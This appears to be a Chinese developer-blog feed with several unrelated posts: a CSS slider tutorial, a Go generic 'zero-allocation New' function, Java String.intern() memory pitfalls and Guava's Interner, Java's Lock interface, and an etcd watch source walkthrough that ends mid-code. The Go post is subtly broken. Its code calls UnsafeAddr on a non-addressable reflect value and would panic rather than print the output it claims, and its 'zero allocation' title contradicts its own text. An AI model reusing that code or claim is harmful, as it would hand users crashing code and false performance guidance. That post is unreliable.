在这个案例中,我们首先定义了一个calculate_rank函数用于计算每个科目内的排名,然后通过groupbyapply方法对数据进行了分组处理。接着又定义了一个score_to_grade函数来根据成绩划分等级,并将其应用到每一行数据上。这样我们就实现了较为复杂的数据处理逻辑,满足了业务需求。

by Jimaks at January 24, 2025 12:30 AM

January 23, 2025

juejin freebie

使用纯css来创建一个滑块

使用纯 CSS 创建一个滑块

在现代 Web 开发中,滑块(Slider)是一种常见的用户界面元素。它允许用户通过拖动滑块来选择值。虽然我们通常会用 JavaScript 来实现这种交互,但我们也可以使用纯 CSS 来创建一个简单的滑块。本文将介绍如何使用纯 CSS 创建一个滑块,并详细解释每个步骤。

1. 基本结构

首先,我们需要创建 HTML 结构。我们将使用一个 input 元素和一个标签容器来表示滑块。

<div class="slider-container">
    <input type="range" class="slider" min="1" max="100" value="50">
</div>

2. CSS 样式

接下来,我们将为滑块添加样式。我们将使用 CSS 来设置滑块的外观,并确保它具有良好的可用性和美观性。

body {
    font-family: Arial, sans-serif;
    background-color: #f4f4f4;
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100vh;
    margin: 0;
}

.slider-container {
    width: 80%;
    max-width: 600px;
}

.slider {
    -webkit-appearance: none; /* 取消默认样式 */
    appearance: none; /* 取消默认样式 */
    width: 100%;
    height: 15px; /* 滑块高度 */
    background: #ddd; /* 滑块背景颜色 */
    border-radius: 5px; /* 滑块圆角 */
    outline: none; /* 去掉聚焦时的边框 */
}

.slider::-webkit-slider-thumb {
    -webkit-appearance: none; /* 取消默认样式 */
    appearance: none; /* 取消默认样式 */
    width: 25px; /* 滑块按钮宽度 */
    height: 25px; /* 滑块按钮高度 */
    background: #4CAF50; /* 滑块按钮颜色 */
    border-radius: 50%; /* 滑块按钮圆形 */
    cursor: pointer; /* 鼠标悬停时显示为手指样式 */
}

.slider::-moz-range-thumb {
    width: 25px; /* 滑块按钮宽度 */
    height: 25px; /* 滑块按钮高度 */
    background: #4CAF50; /* 滑块按钮颜色 */
    border-radius: 50%; /* 滑块按钮圆形 */
    cursor: pointer; /* 鼠标悬停时显示为手指样式 */
}

3. 解释代码

  • HTML 结构

    • div.slider-container 是滑块的容器,帮助我们控制滑块的宽度和位置。
    • input[type="range"] 创建了一个范围输入滑块。
  • CSS 样式

    • body 样式使页面居中显示。
    • slider-container 设置了滑块容器的宽度。
    • slider 样式取消了默认样式,并设置了滑块的背景和形状。
    • ::-webkit-slider-thumb::-moz-range-thumb 伪类用于自定义滑块按钮的样式。

4. 完整的示例

将 HTML 和 CSS 结合在一起,您将得到一个完整的滑块示例。

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>纯 CSS 滑块</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }

        .slider-container {
            width: 80%;
            max-width: 600px;
        }

        .slider {
            -webkit-appearance: none; /* 取消默认样式 */
            appearance: none; /* 取消默认样式 */
            width: 100%;
            height: 15px; /* 滑块高度 */
            background: #ddd; /* 滑块背景颜色 */
            border-radius: 5px; /* 滑块圆角 */
            outline: none; /* 去掉聚焦时的边框 */
        }

        .slider::-webkit-slider-thumb {
            -webkit-appearance: none; /* 取消默认样式 */
            appearance: none; /* 取消默认样式 */
            width: 25px; /* 滑块按钮宽度 */
            height: 25px; /* 滑块按钮高度 */
            background: #4CAF50; /* 滑块按钮颜色 */
            border-radius: 50%; /* 滑块按钮圆形 */
            cursor: pointer; /* 鼠标悬停时显示为手指样式 */
        }

        .slider::-moz-range-thumb {
            width: 25px; /* 滑块按钮宽度 */
            height: 25px; /* 滑块按钮高度 */
            background: #4CAF50; /* 滑块按钮颜色 */
            border-radius: 50%; /* 滑块按钮圆形 */
            cursor: pointer; /* 鼠标悬停时显示为手指样式 */
        }
    </style>
</head>
<body>
    <div class="slider-container">
        <input type="range" class="slider" min="1" max="100" value="50">
    </div>
</body>
</html>

5. 结论

通过以上步骤,我们成功地使用纯 CSS 创建了一个简单的滑块。您可以根据需要进一步定制滑块的外观和功能,例如,可以添加标签显示当前值、添加动画效果等。纯 CSS 滑块是一个很好的练习,让我们更深入地理解 CSS 的能力。

by Riesenzahn at January 23, 2025 10:27 PM

juejin backend

零内存分配的泛型 New 函数

使用 泛型函数反射 实现类似 new 功能的零内存分配方案。该方案的核心思想是通过泛型和反射动态获取类型信息,并返回一个指向该类型的指针,而无需实际分配内存。


1. 目标

实现一个泛型函数 New[T any]() *T,该函数返回一个指向类型 T 的指针,且不实际分配内存(零内存分配)。


2. 实现原理

  • 使用 泛型 支持任意类型 T
  • 使用 反射 获取类型 T 的信息。
  • 通过 unsafe.Pointerreflect.New 创建一个指向 T 的指针,而无需实际分配内存。

3. 代码实现

package main

import (
"fmt"
"reflect"
"unsafe"
)

// New 返回一个指向类型 T 的指针,零内存分配
func New[T any]() *T {
// 获取类型 T 的反射类型
typ := reflect.TypeOf((*T)(nil)).Elem()

// 使用 reflect.New 创建一个指向 T 的指针
ptr := reflect.New(typ)

// 将 reflect.Value 转换为 *T
return (*T)(unsafe.Pointer(ptr.UnsafeAddr()))
}

func main() {
type Vip struct {
ID   int
Name string
}

// 使用 New 函数创建 *Vip
vipPtr := New[Vip]()
fmt.Printf("vipPtr: %#v\n", *vipPtr) // 输出: vipPtr: main.Vip{ID:0, Name:""}
}

4. 代码解析

1. 获取类型信息

typ := reflect.TypeOf((*T)(nil)).Elem()
  • (*T)(nil) 创建一个 *T 类型的 nil 指针。
  • reflect.TypeOf 获取 *T 的类型信息。
  • Elem() 解引用指针,获取 T 的类型信息。

2. 创建指向 T 的指针

ptr := reflect.New(typ)
  • reflect.New(typ) 创建一个指向 T 的新指针,并返回 reflect.Value

*3. 转换为 T

return (*T)(unsafe.Pointer(ptr.UnsafeAddr()))
  • ptr.UnsafeAddr() 获取 reflect.Value 的底层指针地址。
  • unsafe.Pointer 将地址转换为通用指针类型。
  • (*T) 将通用指针转换为 *T 类型。

5. 零内存分配的关键

  • reflect.New

    • reflect.New 会为类型 T 分配内存,并返回一个 reflect.Value
    • 虽然 reflect.New 内部会分配内存,但这是 Go 反射 API 的必要操作,无法完全避免。
  • unsafe.Pointer

    • 使用 unsafe.Pointer 可以直接操作指针,避免额外的内存分配。

6. 性能优化

如果需要完全避免内存分配,可以使用以下方法:

方法 1:返回 reflect.Value

直接返回 reflect.Value,而不是转换为 *T。这样可以避免 unsafe 操作。

func New[T any]() reflect.Value {
typ := reflect.TypeOf((*T)(nil)).Elem()
return reflect.New(typ)
}

方法 2:使用全局缓存

通过全局缓存存储类型的反射信息,避免重复调用 reflect.TypeOf

var typeCache sync.Map

func New[T any]() *T {
var t T
typ, ok := typeCache.Load(t)
if !ok {
typ = reflect.TypeOf((*T)(nil)).Elem()
typeCache.Store(t, typ)
}

ptr := reflect.New(typ.(reflect.Type))
return (*T)(unsafe.Pointer(ptr.UnsafeAddr()))
}

7. 注意事项

  • unsafe 的使用

    • unsafe.Pointer 是 Go 中的底层操作,使用不当可能导致程序崩溃或未定义行为。
    • 确保在必要时使用,并充分测试。
  • 反射性能

    • 反射操作比直接代码慢,适用于低频调用场景。
    • 如果需要高性能,建议使用代码生成工具(如 go generate)。

8. 总结

通过泛型和反射,可以实现一个类似 new 的函数,动态创建指向任意类型 T 的指针。虽然 reflect.New 内部会分配内存,但通过 unsafe.Pointer 可以避免额外的内存分配。如果需要完全避免内存分配,可以考虑返回 reflect.Value 或使用全局缓存优化性能。


9. 完整代码

package main

import (
"fmt"
"reflect"
"unsafe"
)

// New 返回一个指向类型 T 的指针,零内存分配
func New[T any]() *T {
typ := reflect.TypeOf((*T)(nil)).Elem()
ptr := reflect.New(typ)
return (*T)(unsafe.Pointer(ptr.UnsafeAddr()))
}

func main() {
type Vip struct {
ID   int
Name string
}

// 使用 New 函数创建 *Vip
vipPtr := New[Vip]()
fmt.Printf("vipPtr: %#v\n", *vipPtr) // 输出: vipPtr: main.Vip{ID:0, Name:""}
}

10. 参考

by 全栈虎 at January 23, 2025 08:38 PM

不是哥们?你也没说使用intern方法把字符串对象添加到字符串常量池中还有这么大的坑啊

大家好,我是程序员牛肉。

不知道大家有没有写过“黑马点评”这个项目,这个项目中有一个功能模块是用户秒杀优惠卷。在这个过程中需要保证一个用户只能抢到一单。在这个过程中我们就需要对用户id进行加锁。

图片

这里加锁使用的对象是:

    userId.toString().intern()

我们来解释一下为什么要这么写:

首先因为Synchronized锁的是对象。因此我们需要将userId使用toString转为一个字符串对象。但是toString每一次都会创建一个新的字符串对象:

图片

因此如果单纯只是锁用户id使用toString的对象的话,实际上是没有办法保证一人一单的。因为即使两个userid相同,使用toString之后也会得到两个对象。

基于这一点,黑马点评中给出的解决方案是使用intern方法将这个字符串常量放入常量池中。避免了两个字符串内容相同,但不是同一个对象的bug。

[字符串常量池是一个特殊的内存区域,用于存储字符串字面量和通过 intern() 方法加入的字符串。当一个字符串调用 intern() 方法时,如果常量池中已经存在一个相等的字符串,则返回常量池中该字符串的引用;如果不存在,则将该字符串添加到常量池中并返回其引用。]

但真的这样就可以了吗?

图片

让我们往真实的业务上靠一靠来模拟一下这个场景:随着大量的用户秒杀优惠卷,越来越多的userId会被加入到字符串常量池中。

图片

但问题是:字符串常量池的大小也是有限的,这玩意不是一个异次元空间能让你不停的塞变量。

那垃圾回收机制能够对字符串常量池中的不再被使用的字符串进行清理吗?

如果你是一位深耕JVM的八股战士的话,就应该背过哪些节点是GC Roots:

图片

这一看直接天塌了。不是哥们,你也没说把一个字符串变量放到字符串常量池中就变成根节点了啊。

为了防止有些同学忘记什么是GC Roots,我们也来顺手讲一下:

[在 Java 的垃圾回收机制中,GC Roots(Garbage Collection Roots)是垃圾回收器用来追踪和识别活动对象的起始点。任何从 GC Roots 可达的对象都被视为存活的,不会被垃圾回收。GC Roots 是垃圾收集算法(特别是标记-清除算法)用来判断对象是否可以被回收的基础。]

也就是说我们如果不断的把字符串放到常量池之后,他就会成为一个根节点,而根节点是不会被垃圾回收器回收掉的。

而JDK7之后这个字符串常量池是在堆中的。因此过度使用 intern() 可能导致堆内存耗尽,从而引发内存溢出(OutOfMemoryError)。

因为你的代码bug导致oom直接给服务干瘫痪之后,你也基本就可以再就业了。

图片

但我们又确实有以字符串作为锁对象的这个需求。那我们要怎么解决这个问题呢?

我们都能想到这个问题,就一定要相信大概率情况下业内已经有解决方法了。这份解决方案来自谷歌的guava工具类下的interner。

图片

Guava 的 Interner 是一个用于管理对象实例唯一性的工具接口。它的主要作用是确保对于相同内容的对象,只保留一个共享的实例,从而减少内存使用和提高性能。Interner 接口以及相关的实现类提供了一种高效的方式来管理和共享相同内容的对象。

我们可以这样理解:之前我们基于将字符串纳入字符串常量区的机制来避免加锁失败的这种机制,本质上是搞了一个公共区域来存放已经创建好的字符串,如果这个内容你之前创建过了,那么就直接复用公共区域中的这个字符串。以此来保证创建对象的唯一性。

既然这个公共区域我们的垃圾回收机制没有办法进行监管,那我们能不能把这个公共区域就放在java的代码层?直接在代码层就来保证对象实例的唯一性。

当你能够想到这里,其实你也就明白了guava的Interner运行机制:提供一个hashmap来把这个“公共区域”直接放到java代码层。

Guava 提供了两种 Interner 的实现,主要包括:

Interners.newStrongInterner():

  • 创建一个使用强引用的 Interner。

  • 所有的对象都被强引用,这意味着只要 Interner 存在,对象就不会被垃圾回收。

Interners.newWeakInterner():

  • 创建一个使用弱引用的 Interner。

  • 对象被弱引用,这允许垃圾回收器回收不再被其他强引用持有的对象,从而避免内存泄漏。

我们来看一看newWeakInterner是在什么,当我们尝试使用默认方法构造的时候,会进入这个方法。

图片

这个构造函数内部链式调用了很多的方法,我们一个一个看:

1.weakKeys:

图片

这个代码的逻辑比较简单一点:将我们即将创建出来的这个map的key设置为弱引用。当键不再有任何强引用指向它时,垃圾回收器可以回收键该键。

此时好奇的同学可能会想:key被回收了之后,key对应的value是怎么处理的?先不考虑这个点,我后面也会讲到这个的。

下一步调用的是keyEquivalence方法

图片

在这个方法中设置了这个map中key的等价策略。用大白话来讲就是在这里我们定义了两个key在什么情况下才算是相等的。

在上面的链式调用中,我们传递到的参数是:

图片

Equivalence.equals() 是 Guava 提供的一个基于标准 equals() 和 hashCode() 方法的等价性策略。也就是说在这个map中,我们认为两个key的equals和hashcode相等的情况下,我们就认为这两个key是相等的。

也就是说:在这个链式调用中,我们创建了一个key是弱引用的map。在比较key是否相等的时候采用的是equasl和hashcode进行比较。

基于这种性质,其实我们就可以先创建出来一个weakInterner。然后调用这个类中的intern方法来确保当前key是唯一的,不会被重复创建:

synchronized (interner.intern(key)) {
      //待运行代码
}

让我们来详细的看一看这个intern方法:

图片

这个逻辑也很清晰:其实就是现在map中尝试寻找当前key,如果找到的话就返回一个实例,如果找不到的话就将其作为key插入到map中。而key对应的value是一个枚举类:

图片

这其实是一个很巧妙的思想,我们想一想:其实我们只需要key的值。而对于value我们又不能不添加值。

那么最优解其实就是让这个value是一个全局唯一变量。所有key所对应的value本质上都是一个value。

说白了就是在value上搞一个单例模式。而枚举类本身就是单例模式的最简短的实现方案。基于这种思想我们又在一定程度上节省了内存的使用率。

所以其实interner的逻辑还是很简单的,就是搞一个weakmap来让你把已经有的String全部放进去。之后每一次加锁的时候都会尝试到这个weakmap中是否这个String已经存在了。

如果没存在就创建一个,如果已经存在了,就把存在的这个key返回给synchronized来锁这个对象就可以了。

那今天关于guava包下的interner就介绍到这里了,相信通过我的介绍,你已经大致知道了直接给String 使用intern方法的弊端。希望我的文章可以帮到你。

对于guava包下的interner类你还有什么想说的吗?欢迎在评论区留言。

关注我,带你了解更多技术干货。

by 程序员牛肉 at January 23, 2025 06:36 PM

Lock接口

java.util.concurrent.locks.Lock 接口是Java并发包中的一部分,它提供了比内置锁(即 synchronized 关键字)更灵活和强大的锁机制。通过使用 Lock 接口及其相关实现类,开发者可以获得更多的功能选项来控制线程间的同步行为,例如可中断的锁等待、超时获取锁、公平锁等。这些特性使得 Lock 在某些特定场景下更加适合用于并发编程。

为什么需要Lock接口?

尽管 synchronized 是一种简单而有效的同步手段,但它也有一些局限性:

  • 缺乏灵活性:无法指定是否等待获取锁的时间限制,也不能被中断。
  • 单一入口/出口:一旦进入同步块或方法,必须等到退出后才能释放锁;不能在代码中间释放锁再重新获取。
  • 没有尝试加锁的功能:如果不想阻塞当前线程直到获得锁,则没有直接的方法可以做到这一点。
  • 不支持公平性:多个线程竞争同一个锁时,不能保证按照请求顺序依次获得锁。

为了解决上述问题,并提供更加丰富的功能,Java引入了 Lock 接口以及它的几种常见实现方式。

Lock接口的主要方法

Lock 接口定义了一系列用于管理和操作锁的方法,主要包括以下几个方面:

锁操作

  • void lock() :获取锁。如果锁已被其他线程占用,则当前线程将被阻塞,直到该锁可用为止。
  • void unlock() :释放锁。只有当调用此方法的线程拥有这个锁时才有效果,否则可能会抛出异常。
  • void lockInterruptibly() throws InterruptedException:与 lock() 类似,但是在等待过程中允许被中断。如果线程正在等待锁并且收到了中断信号,则会抛出 InterruptedException 并返回。
  • boolean tryLock() :尝试非阻塞地获取锁。如果立即可用,则成功并返回 true;否则失败并返回 false
  • boolean tryLock(long time, TimeUnit unit) throws InterruptedException:尝试在指定时间内获取锁。如果在此期间内成功获取到锁,则返回 true;若超时仍未获得,则返回 false。同样地,等待期间也可以被中断。

条件变量(Condition)

除了基本的锁操作外,Lock 接口还支持条件变量的概念,这类似于传统的对象监视器中的 wait()notify() 方法。每个 Lock 实例都可以关联一个或多个 Condition 对象,它们允许线程以更加细粒度的方式进行协调。

  • Condition newCondition() :创建一个新的条件实例,与当前锁绑定在一起。

Lock接口的实现类

Java 提供了几种常用的 Lock 接口实现,每种都有其特点和适用场景:

ReentrantLock

ReentrantLock 是最常用的 Lock 实现之一,它实现了可重入锁,这意味着持有锁的线程可以在不释放现有锁的情况下再次获取相同的锁。此外,ReentrantLock 还提供了两种构造函数形式:默认情况下是非公平锁,但也可以创建公平锁,确保线程按照请求锁的顺序依次获得锁。

import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;

public class Counter {
    private int count = 0;
    private final Lock lock = new ReentrantLock();

    public void increment() {
        lock.lock();
        try {
            count++;
        } finally {
            lock.unlock(); // 确保无论发生什么都释放锁
        }
    }

    public int getCount() {
        return count;
    }
}

ReadWriteLock

ReadWriteLock 接口表示读写锁,它允许多个读线程同时访问共享资源,但在有写线程时禁止所有其他线程(包括读和写)。这种锁非常适合于读多写少的应用场景,因为它能提高并发性能。

import java.util.concurrent.locks.ReadWriteLock;
import java.util.concurrent.locks.ReentrantReadWriteLock;

public class Cache<K, V> {
    private final Map<K, V> map = new HashMap<>();
    private final ReadWriteLock rwl = new ReentrantReadWriteLock();

    public V get(K key) {
        rwl.readLock().lock();
        try {
            return map.get(key);
        } finally {
            rwl.readLock().unlock();
        }
    }

    public void put(K key, V value) {
        rwl.writeLock().lock();
        try {
            map.put(key, value);
        } finally {
            rwl.writeLock().unlock();
        }
    }
}

StampedLock

StampedLock 是 Java 8 引入的一种高性能的读写锁实现,它不仅支持传统的读锁和写锁,还增加了乐观读锁的功能。乐观读锁假设在读取数据的过程中不会发生修改,因此不需要实际锁定资源,只有当检测到冲突时才会回退并采用悲观策略。这种方式可以在一定程度上减少争用,提升吞吐量。

import java.util.concurrent.locks.StampedLock;

public class Point {
    private double x, y;
    private final StampedLock sl = new StampedLock();

    void move(double deltaX, double deltaY) { 
        long stamp = sl.writeLock();
        try {
            x += deltaX;
            y += deltaY;
        } finally {
            sl.unlockWrite(stamp);
        }
    }

    double distanceFromOrigin() { 
        long stamp = sl.tryOptimisticRead();
        double currentX = x, currentY = y;
        if (!sl.validate(stamp)) {
            stamp = sl.readLock();
            try {
                currentX = x;
                currentY = y;
            } finally {
                sl.unlockRead(stamp);
            }
        }
        return Math.sqrt(currentX * currentX + currentY * currentY);
    }
}

使用Lock接口的优势

  1. 更多功能选项:如前所述,Lock 接口提供的方法比 synchronized 更加丰富,能够满足不同的需求。
  2. 更好的性能表现:对于某些类型的锁(如读写锁),Lock 可以显著提高并发性能。
  3. 清晰的语义表达:显式地获取和释放锁的操作让代码意图更加明确,便于理解和维护。
  4. 易于扩展:基于接口的设计使得我们可以很容易地替换不同类型的锁实现,或者自定义新的锁行为。

注意事项

虽然 Lock 接口带来了诸多好处,但在实际应用中也需要注意以下几点:

  • 确保总是释放锁:无论是否发生异常,都应当保证最终会调用 unlock() 方法释放锁,以免造成死锁或其他不可预测的行为。通常建议使用 try-finally 或者 Java 7+ 的 try-with-resources 语法来保证这一点。
  • 避免长时间持有锁:尽量缩短持有锁的时间,尤其是写锁,以减少对其他线程的影响。
  • 理解锁的开销:尽管 Lock 接口提供了额外的功能,但同时也可能带来一定的性能损失。因此,在选择使用哪种同步机制时要权衡利弊。

结语

感谢您的阅读!如果您对 Lock 接口或其他 Java 并发编程话题有任何疑问或见解,欢迎继续探讨。

by 難釋懷 at January 23, 2025 05:11 PM

深入理解etcd(二)--- watch 如何实现?

1. 引言

为了减少客户端的频繁轮询,etcd引入了高效的Watch机制。通过这一机制,客户端可以监视特定键或一系列键的变化,当这些被监视的键发生更新时,etcd会立即通知相应的客户端。这种事件驱动的方式不仅降低了系统的负载,还提高了响应速度和资源利用率。

2. 使用

启动一个空集群,更新两次 key hello 后,使用 Watch 特性获取 key hello 的历史修改记录

$ etcdctl put hello world1
$ etcdctl put hello world2
$ etcdctl watch hello -w=json --rev=1
{
    "Events":[
        {
            "kv":{
                "key":"aGVsbG8=",
                "create_revision":2,
                "mod_revision":2,
                "version":1,
                "value":"d29ybGQx"
            }
        },
        {
            "kv":{
                "key":"aGVsbG8=",
                "create_revision":2,
                "mod_revision":3,
                "version":2,
                "value":"d29ybGQy"
            }
        }
    ],
    "CompactRevision":0,
    "Canceled":false,
    "Created":false
}

3. 事件机制

Etcd v2的Watch机制通过长连接轮询获取更新,资源消耗大。v3采用gRPC双向流和多路复用,减少连接数,仅在数据变化时推送更新。

image.png

4. 整体流程

watch 整体架构图如下图所示,可以分为两个部分:

1)创建 watcher

2)watch 事件推送

image.png 客户端通过clientv3 Watch发送WatchRequestgRPC Watch Server,后者创建serverWatchStream处理请求。serverWatchStream通过recvLoop接收create/cancel watcher请求,并通过sendLoop将事件转发给客户端。事件由WatchableKV模块管理,通过WatchStream子模块通知serverWatchStreamsyncWatchersLoopsyncVictimsLoop确保可靠性,所有历史版本数据存储在boltdb中。

5. 源码

5.1. server

etcd v3 使用的是 gRPC-Gateway 以同时提供 RPC 和 HTTP 服务

service Watch {
  // Watch 用于监视发生的或已经发生过的事件
  // 输入和输出都是流形式,输入流用于创建和取消监视器,而输出流则用于发送事件
  // 单个 Watch RPC 可以同时监视多个键范围,并为多个监视操作流式传输事件。
  // 可以从最后一次压缩修订版开始,监视整个事件历史
  rpc Watch(stream WatchRequest) returns (stream WatchResponse) {
    option (google.api.http) = {
      post: "/v3/watch"
      body: "*"
    };
  }
}

Watch 实现如下,和上述流程图一致,创建 serverWatchStream 并分别启动了sendLoop 和 recvLoop

func (ws *watchServer) Watch(stream pb.Watch_WatchServer) (err error) {
    sws := serverWatchStream{
        ...
    }

    sws.wg.Add(1)
    go func() {
        // 第一个循环
        sws.sendLoop()
        sws.wg.Done()
    }()

    errc := make(chan error, 1)

    go func() {
        // 第二个循环
        if rerr := sws.recvLoop(); rerr != nil {
            if isClientCtxErr(stream.Context().Err(), rerr) {
                sws.lg.Debug("failed to receive watch request from gRPC stream", zap.Error(rerr))
            } else {
                sws.lg.Warn("failed to receive watch request from gRPC stream", zap.Error(rerr))
                streamFailures.WithLabelValues("receive", "watch").Inc()
            }
            errc <- rerr
        }
    }()

    select {
        case err = <-errc:
        if errors.Is(err, context.Canceled) {
            err = rpctypes.ErrGRPCWatchCanceled
        }
        close(sws.ctrlStream)
        case <-stream.Context().Done():
        err = stream.Context().Err()
        if errors.Is(err, context.Canceled) {
            err = rpctypes.ErrGRPCWatchCanceled
        }
    }

    sws.close()
    return err
}

5.2. sendloop

sendLoop 主要负责把从 MVCC 模块接收的 Watch 事件转发给 client

sendLoop 大致流程就是for + select

func (sws *serverWatchStream) sendLoop() {
// watch ids that are currently active
ids := make(map[mvcc.WatchID]struct{})
// watch responses pending on a watch id creation message
pending := make(map[mvcc.WatchID][]*pb.WatchResponse)

interval := GetProgressReportInterval()
progressTicker := time.NewTicker(interval)
    ...

for {
select {
case wresp, ok := <-sws.watchStream.Chan():
            ...
case c, ok := <-sws.ctrlStream:
...
case <-progressTicker.C:
            ...
case <-sws.closec:
return
}
}
}

第一种清况,收到mvcc 发送的变更事件,

大致流程是接受mvcc的事件,获取对应kv版本的值,然后封装一下,转发给client

case wresp, ok := <-sws.watchStream.Chan():
if !ok {
return
}

// TODO: evs is []mvccpb.Event type
// either return []*mvccpb.Event from the mvcc package
// or define protocol buffer with []mvccpb.Event.
evs := wresp.Events
events := make([]*mvccpb.Event, len(evs))
sws.mu.RLock()
needPrevKV := sws.prevKV[wresp.WatchID]
sws.mu.RUnlock()
for i := range evs {
events[i] = &evs[i]
if needPrevKV && !IsCreateEvent(evs[i]) {
opt := mvcc.RangeOptions{Rev: evs[i].Kv.ModRevision - 1}
// 获取指定版本的kv
r, err := sws.watchable.Range(context.TODO(), evs[i].Kv.Key, nil, opt)
if err == nil && len(r.KVs) != 0 {
events[i].PrevKv = &(r.KVs[0])
}
}
}

canceled := wresp.CompactRevision != 0
wr := &pb.WatchResponse{
Header:          sws.newResponseHeader(wresp.Revision),
WatchId:         int64(wresp.WatchID),
Events:          events,
CompactRevision: wresp.CompactRevision,
Canceled:        canceled,
}

if wresp.WatchID != clientv3.InvalidWatchID {
// 如果 watcherID 还没注册到 ids 列表中,就先把这个 event 缓存起来
if _, okID := ids[wresp.WatchID]; !okID {
// buffer if id not yet announced
wrs := append(pending[wresp.WatchID], wr)
pending[wresp.WatchID] = wrs
continue
}
}

mvcc.ReportEventReceived(len(evs))

sws.mu.RLock()
fragmented, ok := sws.fragment[wresp.WatchID]
sws.mu.RUnlock()

var serr error
// gofail: var beforeSendWatchResponse struct{}
// 事件发送给客户端,如果不是分片的事件,直接发送,否则分片发送
if !fragmented && !ok {
serr = sws.gRPCStream.Send(wr)
} else {
serr = sendFragments(wr, sws.maxRequestBytes, sws.gRPCStream.Send)
}

if serr != nil {
if isClientCtxErr(sws.gRPCStream.Context().Err(), serr) {
sws.lg.Debug("failed to send watch response to gRPC stream", zap.Error(serr))
} else {
sws.lg.Warn("failed to send watch response to gRPC stream", zap.Error(serr))
streamFailures.WithLabelValues("send", "watch").Inc()
}
return
}

sws.mu.Lock()
if len(evs) > 0 && sws.progress[wresp.WatchID] {
//  如果有新的 event 产生,就把 progress 改成 fasle 以忽略掉下次进度更新消息的发送
sws.progress[wresp.WatchID] = false
}
sws.mu.Unlock()

第二种情况是控制逻辑,包括了 watcher 的 create 和 cancel

控制逻辑消息由 recvLoop 产生,recvLoop 收到用户发送的 create 或者 cancel 请求后先调用 watchStream 的方法 create 或者 cancel watcher,然后在通过 chan 异步传递到 sendLoop 中,以维护 sendLoop 中的活跃watcherID 列表

case c, ok := <-sws.ctrlStream:
if !ok {
return
}

if err := sws.gRPCStream.Send(c); err != nil {
if isClientCtxErr(sws.gRPCStream.Context().Err(), err) {
sws.lg.Debug("failed to send watch control response to gRPC stream", zap.Error(err))
} else {
sws.lg.Warn("failed to send watch control response to gRPC stream", zap.Error(err))
streamFailures.WithLabelValues("send", "watch").Inc()
}
return
}

// track id creation
wid := mvcc.WatchID(c.WatchId)
// 如果是被取消了,就从ids中移除
if c.Canceled {
delete(ids, wid)
continue
}
// 如果创建则把 watcherID 注册到 ids 列表中,然后把缓存的event都发送到 client
if c.Created {
// flush buffered events
ids[wid] = struct{}{}
for _, v := range pending[wid] {
mvcc.ReportEventReceived(len(v.Events))
if err := sws.gRPCStream.Send(v); err != nil {
if isClientCtxErr(sws.gRPCStream.Context().Err(), err) {
sws.lg.Debug("failed to send pending watch response to gRPC stream", zap.Error(err))
} else {
sws.lg.Warn("failed to send pending watch response to gRPC stream", zap.Error(err))
streamFailures.WithLabelValues("send", "watch").Inc()
}
return
}
}
delete(pending, wid)
}

第三种情况是定时器,定时发送watch的进度,发送最新的watch的key版本

case <-progressTicker.C:
sws.mu.Lock()
for id, ok := range sws.progress {
if ok {
                    // 如下所示
sws.watchStream.RequestProgress(id)
}
sws.progress[id] = true
}
sws.mu.Unlock()
func (ws *watchStream) RequestProgress(id WatchID) {
ws.mu.Lock()
w, ok := ws.watchers[id]
ws.mu.Unlock()
if !ok {
return
}
ws.watchable.progress(w)
}

func (s *watchableStore) progress(w *watcher) {
s.progressIfSync(map[WatchID]*watcher{w.id: w}, w.id)
}

func (s *watchableStore) progressIfSync(watchers map[WatchID]*watcher, responseWatchID WatchID) bool {
s.mu.RLock()
defer s.mu.RUnlock()


for _, w := range watchers {
if _, ok := s.synced.watchers[w]; !ok {
return false
}
}


for _, w := range watchers {
        // 发送最新的版本
w.send(WatchResponse{WatchID: responseWatchID, Revision: s.rev()})
return true
}
return true
}

第四种情况是表明流已关闭

case <-sws.closec:
return

5.3. recvLoop

recvLoop 主要负责接收 client 的 create/cancel watcher 请求,并对请求进行封装处理

func (sws *serverWatchStream) recvLoop() error {
for {
req, err := sws.gRPCStream.Recv()
        ...
switch uv := req.RequestUnion.(type) {
case *pb.WatchRequest_CreateRequest:
            ...
case *pb.WatchRequest_CancelRequest:
...
case *pb.WatchRequest_ProgressRequest:
            ...
default:
// we probably should not shutdown the entire stream when
// receive an invalid command.
// so just do nothing instead.
sws.lg.Sugar().Infof("invalid watch request type %T received in gRPC stream", uv)
continue
}
}
}

第一种情况,创建请求

case *pb.WatchRequest_CreateRequest:
            // 参数封装,权限校验
            ...
            
            // 创建watch,返回id
            // watchStream 每个grpc流请求唯一
id, err := sws.watchStream.Watch(mvcc.WatchID(creq.WatchId), creq.Key, creq.RangeEnd, rev, filters...)
            ...

wr := &pb.WatchResponse{
Header:   sws.newResponseHeader(wsrev),
WatchId:  int64(id),
Created:  true,
Canceled: err != nil,
}
if err != nil {
wr.CancelReason = err.Error()
}
select {
            // 发送到sendLoop的ctrlStream
case sws.ctrlStream <- wr:
case <-sws.closec:
return nil
}

watch 建立

func (ws *watchStream) Watch(id WatchID, key, end []byte, startRev int64, fcs ...FilterFunc) (WatchID, error) {
// prevent wrong range where key >= end lexicographically
// watch request with 'WithFromKey' has empty-byte range end
if len(end) != 0 && bytes.Compare(key, end) != -1 {
return -1, ErrEmptyWatcherRange
}

ws.mu.Lock()
defer ws.mu.Unlock()
if ws.closed {
return -1, ErrEmptyWatcherRange
}

if id == clientv3.AutoWatchID {
for ws.watchers[ws.nextID] != nil {
ws.nextID++
}
id = ws.nextID
ws.nextID++
} else if _, ok := ws.watchers[id]; ok {
return -1, ErrWatcherDuplicateID
}

    // 跟mvcc 连接起来
w, c := ws.watchable.watch(key, end, startRev, id, ws.ch, fcs...)

ws.cancels[id] = c
ws.watchers[id] = w
return id, nil
}

func (s *watchableStore) watch(key, end []byte, startRev int64, id WatchID, ch chan<- WatchResponse, fcs ...FilterFunc) (*watcher, cancelFunc) {
wa := &watcher{
key:    key,
end:    end,
minRev: startRev,
id:     id,
ch:     ch,
fcs:    fcs,
}

s.mu.Lock()
s.revMu.RLock()
synced := startRev > s.store.currentRev || startRev == 0
if synced {
wa.minRev = s.store.currentRev + 1
if startRev > wa.minRev {
wa.minRev = startRev
}
// 这里添加进mvcc的synced
s.synced.add(wa)
} else {
slowWatcherGauge.Inc()
        // 这里添加进mvcc的usynced
s.unsynced.add(wa)
}
s.revMu.RUnlock()
s.mu.Unlock()
